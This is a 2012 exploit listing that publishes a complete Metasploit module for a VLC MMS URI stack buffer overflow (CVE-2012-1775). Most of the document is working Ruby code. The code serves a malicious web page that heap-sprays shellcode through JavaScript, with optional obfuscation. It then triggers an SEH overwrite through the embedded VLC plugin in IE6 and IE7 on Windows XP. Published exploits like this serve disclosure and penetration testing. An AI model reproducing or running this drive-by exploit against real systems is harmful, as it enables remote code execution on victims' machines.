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VLC MMS Stream Handling Buffer Overflow

VLC MMS Stream Handling Buffer Overflow
Posted May 3, 2012
Authored by sinn3r, juan vazquez, Florent Hochwelker | Site metasploit.com

This Metasploit module exploits a buffer overflow in VLC media player VLC media player prior to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result in a stack buffer overflow when handling a malicious MMS URI. This Metasploit module uses the browser as attack vector. A specially crafted MMS URI is used to trigger the overflow and get flow control through SEH overwrite. Control is transferred to code located in the heap through a standard heap spray. The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.

tags | exploit, overflow
advisories | CVE-2012-1775, OSVDB-80188
MD5 | a970745bd46aead19ab89a07e5992369

VLC MMS Stream Handling Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "VLC MMS Stream Handling Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in VLC media player VLC media player prior
to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
in a stack buffer overflow when handling a malicious MMS URI.

This module uses the browser as attack vector. A specially crafted MMS URI is
used to trigger the overflow and get flow control through SEH overwrite. Control
is transferred to code located in the heap through a standard heap spray.

The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2012-1775'],
['OSVDB', '80188'],
['URL', 'http://www.videolan.org/security/sa1201.html'],
# Fix commit diff
['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1000,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
# Tested with VLC 2.0.0
[ 'Automatic', {} ],
[
'Internet Explorer 6 on XP SP3',
{
'Rop' => false,
# Space needed to overflow and generate an exception
# which allows to get control through SEH overwrite
'Offset' => 5488,
'OffsetShell' => '0x800 - code.length',
'Blocks' => '1550',
'Padding' => '0'
}
],
[
'Internet Explorer 7 on XP SP3',
{
'Rop' => false,
# Space needed to overflow and generate an exception
# which allows to get control through SEH overwrite
'Offset' => 5488,
'OffsetShell' => '0x800 - code.length',
'Blocks' => '1600',
'Padding' => '1'
}
]
],
'DisclosureDate' => "Mar 15 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end

def get_target(cli, request)
#Default target
my_target = target

vprint_status("User-Agent: #{request.headers['User-Agent']}")

if target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP + IE 6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP + 7.0
my_target = targets[2]
else
#If we don't recognize the client, we don't fire the exploit
my_target = nil
end
end

return my_target
end

def on_request_uri(cli, request)
#Pick the right target
my_target = get_target(cli, request)
if my_target.nil?
vprint_error("Target not supported")
send_not_found(cli)
return
end

vprint_status("URL: #{request.uri.to_s}")

#ARCH used by the victim machine
arch = Rex::Arch.endian(my_target.arch)
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
code = Rex::Text.to_unescape(payload.encoded, arch)

# Spray overwrites 0x30303030 with our payload
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['OffsetShell']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < #{my_target['Blocks']}; i++) {
heap_obj.alloc(block);
}
JS

#Use heaplib
js_spray = heaplib(spray)

#obfuscate on demand
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
end


src_ip = Rex::Socket.source_address.split('.')
hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
# Try to maximize success on IE7 platform:
# If first octet of IP address is minor than 16 pad with zero
# even when heap spray could be not successful.
# Else pad following target heap spray criteria.
if ((hex_ip.to_i(16) >> 24) < 16)
padding_char = '0'
else
padding_char = my_target['Padding']
end

hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

html = <<-EOS
<html>
<head>
<script>
#{js_spray}
</script>
</head>
<body>
<OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
width="320"
height="240"
id="vlc" events="True">
<param name="Src" value="mms://#{hex_ip}:#{datastore['SRVPORT']}" />
<param name="ShowDisplay" value="True" />
<param name="AutoLoop" value="False" />
<param name="AutoPlay" value="True" />
<EMBED pluginspage="http://www.videolan.org"
type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
width="320"
height="240"
autoplay="yes"
loop="no"
target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
name="vlc">
</EMBED>
</OBJECT>


</body>
</html>
EOS

#Remove extra tabs in HTML
html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
end

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